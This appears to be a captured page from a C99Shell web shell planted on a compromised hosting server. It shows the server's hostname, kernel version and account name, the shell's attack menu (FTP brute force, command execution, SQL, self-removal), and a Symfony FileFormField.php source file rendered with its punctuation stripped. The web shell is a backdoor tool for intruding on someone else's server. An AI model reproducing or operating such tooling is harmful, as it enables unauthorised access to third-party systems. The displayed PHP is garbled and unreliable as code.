!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/Symfony/Component/DomCrawler/Field/   drwxr-xr-x
Free 294.14 GB of 429.69 GB (68.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FileFormField.php (3.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\DomCrawler\Field;

/**
 * FileFormField represents a file form field (an HTML file input tag).
 *
 * @author Fabien Potencier <fabien@symfony.com>
 *
 * @api
 */
class FileFormField extends FormField
{
    
/**
     * Sets the PHP error code associated with the field.
     *
     * @param integer $error The error code (one of UPLOAD_ERR_INI_SIZE, UPLOAD_ERR_FORM_SIZE, UPLOAD_ERR_PARTIAL, UPLOAD_ERR_NO_FILE, UPLOAD_ERR_NO_TMP_DIR, UPLOAD_ERR_CANT_WRITE, or UPLOAD_ERR_EXTENSION)
     *
     * @throws \InvalidArgumentException When error code doesn't exist
     */
    
public function setErrorCode($error)
    {
        
$codes = array(UPLOAD_ERR_INI_SIZEUPLOAD_ERR_FORM_SIZEUPLOAD_ERR_PARTIALUPLOAD_ERR_NO_FILEUPLOAD_ERR_NO_TMP_DIRUPLOAD_ERR_CANT_WRITEUPLOAD_ERR_EXTENSION);
        if (!
in_array($error$codes)) {
            throw new \
InvalidArgumentException(sprintf('The error code %s is not valid.'$error));
        }

        
$this->value = array('name' => '''type' => '''tmp_name' => '''error' => $error'size' => 0);
    }

    
/**
     * Sets the value of the field.
     *
     * @param string $value The value of the field
     *
     * @api
     */
    
public function upload($value)
    {
        
$this->setValue($value);
    }

    
/**
     * Sets the value of the field.
     *
     * @param string $value The value of the field
     */
    
public function setValue($value)
    {
        if (
null !== $value && is_readable($value)) {
            
$error UPLOAD_ERR_OK;
            
$size filesize($value);
            
$info pathinfo($value);
            
$name $info['basename'];

            
// copy to a tmp location
            
$tmp sys_get_temp_dir().'/'.sha1(uniqid(mt_rand(), true));
            if (
array_key_exists('extension'$info)) {
                
$tmp .= '.'.$info['extension'];
            }
            if (
is_file($tmp)) {
                
unlink($tmp);
            }
            
copy($value$tmp);
            
$value $tmp;
        } else {
            
$error UPLOAD_ERR_NO_FILE;
            
$size 0;
            
$name '';
            
$value '';
        }

        
$this->value = array('name' => $name'type' => '''tmp_name' => $value'error' => $error'size' => $size);
    }

    
/**
     * Sets path to the file as string for simulating HTTP request
     *
     * @param string $path The path to the file
     */
    
public function setFilePath($path)
    {
        
parent::setValue($path);
    }

    
/**
     * Initializes the form field.
     *
     * @throws \LogicException When node type is incorrect
     */
    
protected function initialize()
    {
        if (
'input' != $this->node->nodeName) {
            throw new \
LogicException(sprintf('A FileFormField can only be created from an input tag (%s given).'$this->node->nodeName));
        }

        if (
'file' != $this->node->getAttribute('type')) {
            throw new \
LogicException(sprintf('A FileFormField can only be created from an input tag with a type of file (given type is %s).'$this->node->getAttribute('type')));
        }

        
$this->setValue(null);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0039 ]--